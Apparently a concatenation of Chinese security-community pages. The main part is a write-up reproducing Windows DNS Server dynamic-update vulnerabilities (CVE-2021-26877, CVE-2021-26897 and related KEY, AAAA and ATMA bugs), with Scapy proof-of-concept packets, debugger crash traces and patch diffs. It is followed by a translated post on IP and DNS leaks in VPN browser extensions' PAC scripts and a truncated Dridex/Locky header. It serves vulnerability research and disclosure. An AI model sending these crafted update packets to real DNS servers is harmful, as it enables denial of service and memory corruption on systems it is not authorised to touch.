在DNS服务器上创建区域时，可以选择启用或禁用 DNS 动态区域更新：
* 将 DNS 部署为独立服务器时，默认情况下将禁用 **“动态区域更新”** 功能，但可以在 **安全/非安全模式** 下启用该功能。
* 将 DNS 部署为 AD 集成时，默认 **在安全模式下启用“动态区域更新”** 。
以下为 McAfee 关于 Windows DNS Server 部署模型制作的威胁分析表格：
* 部署在公网启用动态更新的 Windows DNS Server 风险最高（这种配置是极其不推荐的，应该很少有这种配置）
* 部署 AD 集成的 Windows DNS Server 默认在安全模式下启用“动态区域更新”，可减轻未经身份验证的攻击者的风险，但仍具有受威胁的域计算机或受信任内部人员实现 RCE 的风险
参考链接：<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/seven-windows-wonders-critical-vulnerabilities-in-dns-dynamic-updates/>
## CVE-2021-26877 漏洞复现分析
* 使用 TXT length 大于 Data length 的 TXT 资源记录进行区域的动态更新时可触发此漏洞
根据 McAfee 博客中的信息可知，此漏洞在更新 TXT 记录时产生，TXT 记录中的 TXT Length 被设置为
0xFF，这个值大于资源记录里指定的 Data Length (0xbd)，这个长度表示的是这个记录后面的所有数据的长度，在当前场景下，包括所有的 TXT
Length 和 TXT 数据的长度。使用 Scapy 构造数据包及抓包数据如下：
query = DNSQR(qname='mal', qtype='SOA')
RRTXT = DNSRR(rrname="A.mal",type='TXT',rdlen=0xbd,rdata='\x41'*0xff) // 0xff 可修改为更大的数，理论上只要比 0xbd 大即可
packet = IP(dst=ip)/UDP()/DNS(id=random.randint(0,65535),opcode=5,aa=1,tc=1,rd=0,ra=1,cd=1,rcode=5,qd=query,ns=RRTXT)
配置 DNS 服务器，新增一个名为 MAL 的主要区域，并设置允许动态更新。(启用页堆) 以下为漏洞触发场景，问题出现在
dns!File_PlaceStringInFileBuffer 函数中，程序尝试访问超出边界的数据：
0:019> g
(874.9a0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
dns!File_PlaceStringInFileBuffer+0xa2:
00007ff7`50cc67f6 410fb60c24 movzx ecx,byte ptr [r12] ds:00000271`34988000=??
0:004> k
# Child-SP RetAddr Call Site
00 000000bc`b82ff3f0 00007ff7`50cc731e dns!File_PlaceStringInFileBuffer+0xa2
01 000000bc`b82ff440 00007ff7`50bc26a9 dns!TxtFileWrite+0x6e
02 000000bc`b82ff490 00007ff7`50c5da3d dns!RR_WriteToFile+0x205
03 000000bc`b82ff4f0 00007ff7`50c5ecc6 dns!Up_LogZoneUpdate+0x6ad
04 000000bc`b82ffc70 00007ff7`50c5ea30 dns!Up_CompleteZoneUpdate+0x26e
05 000000bc`b82ffd00 00007ff7`50c60c96 dns!Up_ExecuteUpdateEx+0x338
06 000000bc`b82ffd60 00007ff7`50c616ba dns!processWireUpdateMessage+0x456
07 000000bc`b82ffe00 00007ff7`50c550ad dns!Update_Thread+0x12a
0:004> !heap -p -a r12 //在 CopyWireRead 函数中调用 RR_AllocateEx 申请空间。用户可用的长度到 0x27134987ff5
address 0000027134988000 found in
_DPH_HEAP_ROOT @ 271126b1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
27132a28f08: 27134987ef0 105 - 27134987000 2000
00007fff07e86d67 ntdll!RtlDebugAllocateHeap+0x000000000000003f
00007fff07e2cade ntdll!RtlpAllocateHeap+0x000000000009d27e
00007fff07d8da21 ntdll!RtlpAllocateHeapInternal+0x0000000000000991
00007ff750cc2b4d dns!allocMemory+0x0000000000000039
00007ff750cc2f28 dns!Mem_Alloc+0x000000000000008c
00007ff750cc35c2 dns!RR_AllocateEx+0x000000000000003a
00007ff750c3efd4 dns!CopyWireRead+0x0000000000000024
00007ff750c3fed2 dns!Wire_CreateRecordFromWire+0x000000000000015a
00007ff750c5f3d5 dns!writeUpdateFromPacketRecord+0x0000000000000035
00007ff750c5fbe7 dns!parseUpdatePacket+0x0000000000000423
00007ff750c60b6d dns!processWireUpdateMessage+0x000000000000032d
00007ff750c616ba dns!Update_Thread+0x000000000000012a
00007ff750c550ad dns!threadTopFunction+0x000000000000007d
00007fff054a7974 KERNEL32!BaseThreadInitThunk+0x0000000000000014
00007fff07dea271 ntdll!RtlUserThreadStart+0x0000000000000021
0:004> db r12-20 //这里要访问 0x27134988000 处的数据
00000271`34987fe0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000271`34987ff0 41 41 41 41 41 d0 d0 d0-d0 d0 d0 d0 d0 d0 d0 d0 AAAAA...........
00000271`34988000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
00000271`34988010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
00000271`34988020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
00000271`34988030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
00000271`34988040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
00000271`34988050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
0:004> db ecx-14e l160 //将 TXT 数据写入这个缓存区域
00000271`34989ff0 c0 c0 c0 c0 bb 05 fc ff-ef 0c 0c 0c 0c 0c 0c fe ................
00000271`3498a000 0d 0a 24 53 4f 55 52 43-45 20 20 50 41 43 4b 45 ..$SOURCE PACKE
00000271`3498a010 54 20 31 39 32 2e 31 36-38 2e 31 34 30 2e 31 32 T 192.168.140.12
00000271`3498a020 39 0d 0a 24 56 45 52 53-49 4f 4e 20 32 0d 0a 24 9..$VERSION 2..$
00000271`3498a030 41 44 44 0d 0a 41 20 20-20 20 20 20 20 20 20 20 ADD..A
00000271`3498a040 20 20 20 20 20 20 20 20-20 20 20 20 20 30 09 54 0.T
00000271`3498a050 58 54 09 28 20 22 41 41-41 41 41 41 41 41 41 41 XT.( "AAAAAAAAAA
00000271`3498a060 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000271`3498a070 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000271`3498a080 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000271`3498a090 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000271`3498a0a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000271`3498a0b0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000271`3498a0c0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000271`3498a0d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000271`3498a0e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000271`3498a0f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000271`3498a100 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000271`3498a110 41 41 5c 33 32 30 5c 33-32 30 5c 33 32 30 5c 33 AA\320\320\320\3
00000271`3498a120 32 30 5c 33 32 30 5c 33-32 30 5c 33 32 30 5c 33 20\320\320\320\3
00000271`3498a130 32 30 5c 33 32 30 5c 33-32 30 5c 33 32 30 00 c0 20\320\320\320..
00000271`3498a140 c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
**漏洞分析**
在 CopyWireRead 函数中，通过 RR_AllocateEx 函数申请长度为 data length 的空间，而在后续的操作中实际上会分配
data length + 0x38 + 0x10 大小的空间。0x10 为自定义头部的大小、0x38 为 RR 头部的大小。result 指向 RR
头部，然后调用 memcpy 函数向缓冲区复制 data length 长度的数据。如果 data 数据长度大于 data length
长度也可以被处理，只是复制到缓存中会被截断。
接下来在 TxtFileWrite 函数中会调用 File_PlaceStringInFileBuffer
函数，分别传入待写入缓冲区地址、待写入缓冲区结尾地址、1、TXT 记录缓存地址以及分组长度（每次不超过 0xFF）。这个长度就是从 data
字段中取出的，在调用 File_PlaceStringInFileBuffer 函数前没有判断这个长度是否超出了 TXT
缓存数据的界限（在这个函数内部也没有判断）。虽然在后面会有判断（粉框内），但在第一次执行 File_PlaceStringInFileBuffer
函数的过程中就有可能会触发漏洞。
在 File_PlaceStringInFileBuffer 函数中存在以下循环，使用传入的 length 控制循环的次数，这会导致访问超出边界的数据。
**补丁分析**
以下为补丁后的 TxtFileWrite 函数，在调用 File_PlaceStringInFileBuffer 函数前，会判断通过 TXT Length
寻址后的地址是否超出了申请的空间。
## CVE-2021-26897 漏洞复现分析
* 发送许多连续的 SIG 资源记录动态更新可触发此漏洞
* 将许多连续的 SIG 资源记录动态更新进行组合并将字符串进行 Base64 编码时在堆上引发 OOB 写操作
根据已有信息，可构造以下数据包。更新类型为 SIG，记录超长（signature 字段超长）。注意这次需使用 TCP 连接，Scapy
不能直接构造，以下仅为模型：
query = DNSQR(qname='mal', qtype='SOA')
RRSIG = DNSRRRSIG(rrname=str(RandString(8))+'.mal', type="SIG", ttl=300,signersname="A.mal",signature='\x00'*0xff00)
packet = IP(dst=ip)/TCP()/DNS(id=random.randint(0,65535),opcode=5,qd=query,ns=RRSIG)
以下为抓包数据：
漏洞触发现场以及函数调用堆栈如下，异常的原因是 0x2713533c000 无法访问。漏洞触发是在
Dns_SecurityKeyToBase64String 函数（用于 Base64 编码）中。
0:011> g
(874.c34): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
dns!Dns_SecurityKeyToBase64String+0x66:
00007ff7`50d02c3a 41884001 mov byte ptr [r8+1],al ds:00000271`3533c000=??
0:011> k
# Child-SP RetAddr Call Site
00 000000bc`b867f3a8 00007ff7`50cc7f02 dns!Dns_SecurityKeyToBase64String+0x66
01 000000bc`b867f3b0 00007ff7`50bc26a9 dns!SigFileWrite+0x1f2
02 000000bc`b867f4a0 00007ff7`50bc244e dns!RR_WriteToFile+0x205
03 000000bc`b867f500 00007ff7`50bc1c92 dns!writeNodeRecordsToFile+0xa6
04 000000bc`b867f560 00007ff7`50bc1cb1 dns!zoneTraverseAndWriteToFile+0x42
05 000000bc`b867f590 00007ff7`50bc18f5 dns!zoneTraverseAndWriteToFile+0x61
06 000000bc`b867f5c0 00007ff7`50c6a2a3 dns!File_WriteZoneToFile+0x379
07 000000bc`b867f6c0 00007ff7`50c6a388 dns!Zone_WriteBack+0xfb
08 000000bc`b867f700 00007ff7`50d00580 dns!Zone_WriteBackDirtyZones+0xb4
09 000000bc`b867f790 00007ff7`50c56a74 dns!Zone_WriteBackDirtyVirtualizationInstances+0x110
0a 000000bc`b867f7c0 00007ff7`50c550ad dns!Timeout_Thread+0x544
查看出现问题的缓冲区，可以发现，其首地址为 0x271352bbff0 ，UserSize 为 0x80010，是在
File_WriteZoneToFile 函数中调用 Mem_Alloc 分配的。
0:011> !heap -p -a 271`3533c000
address 000002713533c000 found in
_DPH_HEAP_ROOT @ 271126b1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
27132a2ca90: 271352bbff0 80010 - 271352bb000 82000
00007fff07e86d67 ntdll!RtlDebugAllocateHeap+0x000000000000003f
00007fff07e2cade ntdll!RtlpAllocateHeap+0x000000000009d27e
00007fff07d8da21 ntdll!RtlpAllocateHeapInternal+0x0000000000000991
00007ff750cc2b4d dns!allocMemory+0x0000000000000039
00007ff750cc2f28 dns!Mem_Alloc+0x000000000000008c
00007ff750bc178c dns!File_WriteZoneToFile+0x0000000000000210
00007ff750c6a2a3 dns!Zone_WriteBack+0x00000000000000fb
00007ff750c6a388 dns!Zone_WriteBackDirtyZones+0x00000000000000b4
00007ff750d00580 dns!Zone_WriteBackDirtyVirtualizationInstances+0x0000000000000110
00007ff750c56a74 dns!Timeout_Thread+0x0000000000000544
00007ff750c550ad dns!threadTopFunction+0x000000000000007d
00007fff054a7974 KERNEL32!BaseThreadInitThunk+0x0000000000000014
00007fff07dea271 ntdll!RtlUserThreadStart+0x0000000000000021
0:011> db 271352bbff0 //存放 MAL.dns 缓存信息
00000271`352bbff0 c0 c0 c0 c0 bb 16 fc ff-ef 0c 0c 0c 0c 0c 0c fe ................
00000271`352bc000 3b 0d 0a 3b 20 20 44 61-74 61 62 61 73 65 20 66 ;..; Database f
00000271`352bc010 69 6c 65 20 4d 41 4c 2e-64 6e 73 20 66 6f 72 20 ile MAL.dns for
00000271`352bc020 44 65 66 61 75 6c 74 20-7a 6f 6e 65 20 73 63 6f Default zone sco
00000271`352bc030 70 65 20 69 6e 20 7a 6f-6e 65 20 4d 41 4c 2e 0d pe in zone MAL..
00000271`352bc040 0a 3b 20 20 20 20 20 20-5a 6f 6e 65 20 76 65 72 .; Zone ver
00000271`352bc050 73 69 6f 6e 3a 20 20 32-35 0d 0a 3b 0d 0a 0d 0a sion: 25..;....
00000271`352bc060 40 20 20 20 20 20 20 20-20 20 20 20 20 20 20 20 @
File_WriteZoneToFile 函数中调用 Mem_Alloc 申请大小为 0x80000 长度的空间，实际是通过 allocMemory
函数申请大小为 0x80010 长度的堆（包括 0x10 大小的头部长度）。而触发访问异常的 0x2713533c000 正好和 0x271352bbff0
相差 0x80010。下一步要查看为何会有超出边界的数据复制过来。
0:011> ?271`3533c000-271352bbff0
Evaluate expression: 524304 = 00000000`00080010
**漏洞分析**
通过回溯及数据跟踪可关注到 zoneTraverseAndWriteToFile 函数，其第一个参数偏移 0x20
处保存了待写缓冲区的实时地址。该函数会调用 writeZoneRoot、writeNodeRecordsToFile 等函数向缓冲区写入数据。然后利用
NTree_FirstChild 以及 NTree_NextSiblingWithLocking 函数遍历
NodeRecords，然后通过回调依次对这些节点进行处理。如果该节点偏移 0x5c 处没有设置 0x10 的 flag，就会调用
writeNodeRecordsToFile 函数进行处理。
writeNodeRecordsToFile 函数中会调用 RR_WriteToFile 函数，在 RR_WriteToFile
函数中也会有判断，如果当前缓冲区距离 end_addr 的长度小于 0x11000，就将缓冲区数据写入文件，并重置缓冲区指针。但这里没有考虑 Base64
编码后是 3:4 的长度。
然后通过 type 类型从 RawRecordFileWrite 表中选择相应的 FileWrite 处理函数，type 18 对应的是
SigFileWrite 函数，然后调用这个函数。（IDA 下面解析错了，实际上 SigFileWrite 函数有 4 个参数）
SigFileWrite 函数用于解析 SIG 结构并将其写入 MAL.dns 缓存，如下所示，SigFileWrite 函数拿到的初始缓存缓冲区指针为
p_buffer(来自第二个参数)，在向其写入 SIG 头信息以及 Signer’s name 后，v13 指向该缓冲区待写入的地址，然后调用
Dns_SecurityKeyToBase64String 函数对 Signature 进行 Base64 编码并将结果写入 v13 指向的地址处。
如下所示，在调用 Dns_SecurityKeyToBase64String 函数时，第二个参数为 0xffb9，经过 Base64 编码后的数据长度为
0x154f8。查看上下文可以发现（上图所示），在向缓冲区写入的每一步几乎都用了 end_addr(用户可用的最大长度) 作为限制，唯独在
Dns_SecurityKeyToBase64String 函数的调用中没有，这可能会造成隐患。
0:011> g
Breakpoint 1 hit
dns!Dns_SecurityKeyToBase64String:
00007ff7`50d02bd4 48895c2408 mov qword ptr [rsp+8],rbx ss:000000bc`b867f3b0=000000bcb867f430
0:011> r rdx
rdx=000000000000ffb9
0:011> ?ffb9/3*4
Evaluate expression: 87284 = 00000000`000154f4
0:011> db r8 l20
00000271`34c16255 00 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
00000271`34c16265 c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
0:011> gu
dns!SigFileWrite+0x1f2:
00007ff7`50cc7f02 4c8bc8 mov r9,rax
0:011> db 271`34c16255+154f4 l20 // 写入了 0x154f8 字节数据
00000271`34c2b749 41 41 41 3d c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 AAA=............
00000271`34c2b759 c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
由于向 zoneTraverseAndWriteToFile 函数中传入的第一个参数是不变的，因而会一直向该缓冲区中写入数据。虽然在
RR_WriteToFile 函数和 SigFileWrite 函数中有一些判断，但仍未考虑数据 Base64
编码后的长度，因而在多次循环写入的时候，正好在 Dns_SecurityKeyToBase64String 函数的执行过程中触发 OOB 写操作。
**补丁分析**
更新后的 DNS 在 SigFileWrite 函数中调用 Dns_SecurityKeyToBase64String
函数前会进行以下判断。会考虑当前缓冲区的剩余空间是否可以容纳 Base64 编码后的 Signature 数据。
## 补丁对比分析
以下为 3 月更新内发生变动的函数列表，包括前面已经分析过的TxtFileWrite 函数和 SigFileWrite 函数。
* **KEY 记录问题**
类似地，在 KeyFileWrite 函数中也加入了 Base64 编码预检查（粉框对应）。但不是这个的问题，补丁前已经有 a3 – (signed
__int64)a2 < (signed int)(2 * v3) 这个判断了，可以阻断 CVE-2021-26897
式触发。真正的原因我用蓝框圈起来了，v3 来自 Data Length – 4，而且它是无符号 int 型，如果 Data Length 小于
4，会产生整数溢出。而它又作为 Dns_SecurityKeyToBase64String 函数的第二个参数，该函数指明待编码数据长度，4
个字节的大整数，肯定会溢出的啦。
构造 POC 如下，触发场景见下图：
query = DNSQR(qname='mal', qtype='SOA')
RRKEY = DNSRR(rrname=str(RandString(8))+'.mal',type='KEY',rdlen=0 ,rdata='\x00'*0xff)
packet = IP(dst=ip)/UDP()/DNS(id=random.randint(0,65535),opcode=5,qd=query,ns=RRKEY)
另外，值得注意的是，CopyWireRead 函数中加入了以下判断，经过分析可知，当接收 update 请求类型为 WKS、AAAA 或 ATMA
时，会分别判断其 Data Length 是否小于 5、0x10、2。
* **AAAA 记录问题**
该请求会由 AaaaFileWrite 函数进行处理，经过前面的分析可知，a1 偏移 0x38 处指向 Data Length 字段后的记录数据。经过
CopyWireRead 函数的处理，a1 偏移 0x38 处指向的数据的有效长度等于 Data Length 大小。如果 Data Length 小于
XXXFileWrite 函数中函数调用所需的数据长度，就有可能访问到缓冲区边界之外的数据（如 RtlIpv6AddressToStringA 函数）。
以下为 RtlIpv6AddressToStringA 函数原型，其第一个参数类型为 in6_addr，该长度应为 16 个字节。因而在新的
CopyWireRead 函数中会判断 Data Length 大小是否小于 0x10。
NTSYSAPI PSTR RtlIpv6AddressToStringA(
const in6_addr *Addr,
PSTR S
);
typedef struct in6_addr {
union {
UCHAR Byte[16];
USHORT Word[8];
} u;
} IN6_ADDR, *PIN6_ADDR, *LPIN6_ADDR;
0:008> db rdx l10 //例：fe80::20c:29ff:fe5e:7b11
00000271`26ed9ecd fe 80 00 00 00 00 00 00-02 0c 29 ff fe 5e 7b 11 ..........)..^{.
新的 AaaaFileWrite 函数中也会加入对待读缓冲区和待写缓冲区的判断。
构造如下 POC 进行验证，崩溃场景如下图：
query = DNSQR(qname='mal', qtype='SOA')
RRAaaa = DNSRR(rrname=str(RandString(8))+'.mal',type='AAAA',rdlen=1,rdata='fe80::20c:29ff:fe5e:7b11')
packet = IP(dst=ip)/UDP()/DNS(id=random.randint(0,65535),opcode=5,qd=query,ns=RRAaaa)
* **ATMA 记录问题**
下面再来看 AtmaFileWrite 函数，CopyWireRead 函数中给的限制是：它的 Data Length 长度要大于等于 2。对比补丁前后，对
Data Length 长度判断吸引了我的注意（右边），如果是 0，就走结束流程。那么再看不补丁前的函数，v6 为 Data Length – 1
的无符号数，当 Data Length 为 0 时，v6 为 0xFFFFFFFF , 会产生整数溢出。而且，当 Data 数据的第一个字节为 1 时，会以
v6 做为控制长度向缓冲区复制数据（堆溢出）。
构造 ATMA 更新请求如下，为了使 Data Length 为 0 时，满足漏洞触发条件，需要在发送恶意请求时发送一些“铺垫”数据，即保证 Data
数据的第一个字节（a1 偏移 0x38 处）为 1，且分配的大小一致。那么当触发漏洞的请求到来时，申请的堆可能就来自之前的数据包。例：rdl 先 1（多个）
后 0（分配到 0x50 大小的自定义堆上），崩溃现场如下图：
query = DNSQR(qname='mal', qtype='SOA')
RRATMA = DNSRR(rrname="A.mal",type='ATMA',rdlen=rdl,rdata='\x01'*0xff)
packet = IP(dst=ip)/UDP()/DNS(id=random.randint(0,65535),opcode=5,qd=query,ns=RRATMA)
* **WKS 记录问题**
WksFileWrite 函数中会打印 IP 地址，还有协议名称，这需要保证数据必须大于等于5。如果发送的数据不到
5，就会读取到后面的数据，这样会存在一定程度的信息泄露（然而我觉得没什么用）。
## 总结
微软 3 月补丁日公开了 Windows DNS Server 中存在的多个远程代码执行漏洞和拒绝服务漏洞，这些漏洞都存在于 Windows DNS
Server 进行动态区域更新的过程中。攻击者可通过向目标主机发送特制请求来利用这些漏洞，成功利用这些漏洞可在目标主机上以 SYSTEM
权限执行任意代码或导致 DNS 服务拒绝服务。通过对 McAfee 博客中的细节描述进行分析以及补丁比对，笔者构造 POC 复现了其中的 5 个（不包括
WKS）。如有不足之处，欢迎批评指正，期待技术交流。
## 参考链接
<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/seven-windows-wonders-critical-vulnerabilities-in-dns-dynamic-updates/>
<https://docs.microsoft.com/zh-cn/troubleshoot/windows-server/networking/configure-dns-dynamic-updates-windows-server-2003>
<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26877>
<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26897> | 社区文章 |
`本文为2018年十大网络黑客技术题名文章，欢迎读者来读`
我们不知道VPN的扩展功能是何时流行起来的，但VPN扩展实际上应该被称为代理扩展。其底层不只是VPN还包括代理服务，但VPN生产商却声称其具有很强的安全性与私密性。
经过几次VPN扩展的测试和研究工作，我得出结论，几乎所有的VPN扩展都容易受到IP泄漏和DNS泄漏的影响。
具有讽刺意味的是，尽管大多数漏洞的原因都出自于扩展的错误配置，但浏览器也需要对此负责，因为代理的配置重存在很多陷阱和误导性文档。
### PAC脚本
Chrome和Firefox都提供了用于注册PAC（代理自动配置）脚本的扩展的API。
它是一个`JavaScript`文件，它公开了一个函数`FindProxyForURL（url，host）`，它指示浏览器是否应该将请求转发到代理服务器。
还提供辅助功能以达成条件。 我将在以下内容中介绍有关滥用PAC脚本的常见问题。
#### 拆分通道
常见的VPN扩展会尝试解析请求的主机名，并允许私有地址绕过代理。 这允许用户同时访问内部网络以及代理的因特网。
function FindProxyForURL(url, host) {
let ip = dnsResolve(host);
if (isInNet(ip, "172.16.0.0", "255.240.0.0"))
return "DIRECT";
}
然而，如果不将`DNS`泄漏，那么我们无法不可能实现这个功能。
由于调用了`dnsResolve`，因此将使用本地DNS服务器对每个请求进行DNS查询，本地DNS服务器默认为ISP提供。 这需要以下条件：
* 一个网站，用于识别用户正在使用的ISP。
* 一个路径上的窃听者（例如ISP），以查看用户正在访问的网站。
#### 辅助函数的错误使用
另一个非常常见的问题是扩展误解了辅助函数的工作原理。
function FindProxyForURL(url, host) {
if (shExpMatch(url, "*://api.vpn.com/*") ||
shExpMatch(host, "192.168.*.*") ||
dnsDomainIs(host, "vpn.com") ||
isPlainHostName(host)
)
return 'DIRECT';
}
在Chrome中，有一种称为匹配模式的功能，其用于定义扩展程序的URL。 它使用URL格式的通配符。
当然，开发人员认为`shExpMatch`应该以相同的方式工作，因为它也支持相同的通配符。 但是由于它不支持URL，所以表达式与匹配模式有所不同。
例如，`http://evil.com/://api.vpn.com/`绕过代理，因为它匹配表达式`*://api.vpn.com/*`。
同样，`192.168.evil.com`也能过绕过代理，因为它的主机名匹配`192.168.*.*`。
网站可以通过让浏览器向这些URL发出请求来泄露用户的IP地址。
下面是`dnsDomainIs`的表述：
当且仅当主机名的域匹配时返回true。
类似于函数直接的比较，我们期望看到两个参数相等两个参数相等。 事实上，一些例子也表明情况就是如此。 描述中实际上称为主机名的只是子域部分。
例如，`dnsDomainIs("api.vpn.com", "vpn.com")`返回true，因为`api.vpn.com`是`vpn.com`的子域。
仅此一项不会引入任何安全问题，但Chrome有一个预期的实现错误，它只匹配尾部。
这允许攻击者注册域`evilvpn.com`以传递`dnsDomainIs(host, "vpn.com")`并泄漏用户的IP地址。
对`isPlainHostName`的分析也是相当有趣。 当主机名不包含点时，它返回true。
没有点的主机名表示它属于内部网，因此让它绕过代理似乎是合理的。 除了并非总是如此。
某些顶级域名（如`http://ai`）可通过互联网访问，因此可以绕过代理。 幸运的是，利用这一种方法进行攻击是不可行的，因为攻击者需要拥有`TLD`。
值得一提的是，Chrome更进一步排除了IPv6地址，因为它们也是无点（例如`[::1]`），这会带来另一个绕过方法。
### 弱匹配
另一个常见问题是扩展不使用提供的辅助函数。 这可能是由于开发人员不了解提供的帮助程序功能或Firefox不支持它们。
> 通常可用于PAC文件的全局会使函数（isPlainHostName()，dnsDomainIs()）不可用。
在许多情况下，本机`JavaScript`函数可以直接使用，也可以作为`polyfill`使用。
function FindProxyForURL(url, host) {
if (host.indexOf("localhost") !== -1 ||
/^127\./.test(host) ||
isPlainHostName(host) ||
url.substring(0, 4) !== 'http'
)
return 'DIRECT';
}
function isPlainHostName(host) {
return host.search('\\.') === -1;
}
尝试将某些主机名列入白名单的扩展程序很常见，但我们并不了解起准确方式。
例如，他们只在主机或主机的开头查找子字符串（`127.localhost.evil.com`传递`host.indexOf("localhost") !==
-1`和`/^127\./.test(host)`）。 有时，会导致`RegExp`错误（例如，不会转义`.`）。
如前所述，`Firefox`不支持辅助函数。 因此，`Firefox`扩展必须为`isPlainHostName`等函数实现`polyfill`。
看起来，根据文档显示，它只需要检查主机名是否为无点。 他们解决的是上述`IPv6`问题。
在这里，攻击者可以通过让浏览器向IPv6主机发出请求来泄漏用户的IPv6地址。
有时，扩展不希望处理非HTTP流量，因此它们允许不以`http`开头的URL绕过代理（`url.substring(0, 4) !== 'http'`）。
这中方法为网站提供了通过强制其浏览器发出非HTTP请求来泄漏用户IP地址的机会。 它们可以是FTP（`ftp://`）和`WebSocket
ws://＆wss://`）。
#### 主机名白名单
一对扩展程序拥有代理绕过的白名单。 它们通常是公司的域（`*
.vpn.com`），DNS环回服务（例如`http://lvh.me`），Google服务和带宽密集型服务（例如CDN和流媒体站点）。
访问白名单网站的用户将泄露其IP。
#### 未加密的代理协议
某些扩展使用被认为不安全的协议。
function FindProxyForURL(url, host) {
return "PROXY http.vpn.com; HTTP http.vpn.com; SOCKS socks4.vpn.com; SOCKS4 socks4.vpn.com; SOCKS5 socks5.vpn.com;";
}
PAC脚本支持四种代理协议。 HTTP（代理和HTTP），HTTPS，SOCKS4（SOCKS和SOCKS4）和SOCKS5。
由于TLS、HTTPS隧道是安全的，但是而HTTP和SOCKS不支持加密。 这意味着路径上的窃听者可以轻松拦截流量，就像没有VPN或代理一样。
#### DNS预取技术
Chrome使用了一种DNS预取的技术：
> DNS预取是尝试在用户关注链接之前解析域名。 这是使用计算机的正常DNS解析机制完成的。没有使用Google的连接。
Chrome会自动为以下网址预取DNS：
* 多功能框中的项目类（地址栏）
* HTTP页面中的超链接或选择DNS预取的站点
最重要的是，即使启用了代理，默认情况下也会启用此功能，如下所示。
这会影响使用PAC脚本的扩展功能，并且会导致DNS泄漏。 Opera的内置VPN也受到影响。
**更新：所有Chrome VPN扩展都受到影响**
唯一的缓解措施是用户手动禁用此功能：
1 导航到chrome://settings/
2 在“搜索设置”中输入“预测”
3 禁用选项“使用预测服务来帮助完成在地址栏中输入的搜索和URL”和“使用预测服务更快地加载页面”
### 服务器修复
除了PAC脚本之外，Chrome还允许扩展程序设置固定代理服务器。 这类似于PAC脚本，只有return语句。 它确实支持使用匹配模式的简单绕过列表。
#### 错误文档
绕过列表的文档指出：
> 匹配本地地址。 如果主机是“127.0.0.1”，“:: 1”或“localhost”，则地址是本地的。
> 示例：“<local>”</local>
因此，这个列表使得环回地址绕过代理非常简单。浏览`Chromium`的源代码显露出其余的内容：
class BypassLocalRule : public ProxyBypassRules::Rule {
public:
bool Matches(const GURL& url) const override {
const std::string& host = url.host();
if (host == "127.0.0.1" || host == "[::1]")
return true;
return host.find('.') == std::string::npos;
}
std::string ToString() const override { return "<local>"; }
std::unique_ptr<Rule> Clone() const override {
return std::make_unique<BypassLocalRule>();
}
};
·Matches·方法不仅为环回地址（127.0.0.1和[:: 1]）返回true，而且还返回任何没有`.`的主机名。
这与`isPlainHostName`完全相同。 这也导致了IPv6的泄漏。
### 自身检查
在Chrome中，我们可以访问`chrome://net-internals＃proxy`查看有效的代理设置。
要提取PAC脚本，复制base64之后的所有内容，并在`DevTools`控制台中运行`atob（“PASTE_HERE”）`。
除了提取源代码之外，Firefox没有简单的方法。
### 结论
本文中提到的事件是由于VPN供应商以及浏览器设置不协调导致的。我向受影响的各方报告了这些问题，但没有太大进展。
在我看来，VPN扩展非常适合用来绕过`geoblocking`，但对于匿名性和隐私性来说，这不是一个很好的处理方法。
本文为翻译稿件，来源：https://blog.innerht.ml/vpn-extensions-are-not-for-privacy/ | 社区文章 |
# 【技术分享】Dridex和Locky重现江湖，通过PDF附件传播恶意代码
|
##### 译文声明
本文是翻译文章，文章来源：fireeye.com
原文地址：<https://www.fireeye.com/blog/threat-research/2017/05/dridex_and_lockyret.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[ **童话**](http://bobao.360.cn/member/contribute?uid=2782911444)
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**传送门**
[**Dridex使用的一种新型UAC绕过方法**](http://bobao.360.cn/learning/detail/420.html)
[**【木马分析】新版“Locky
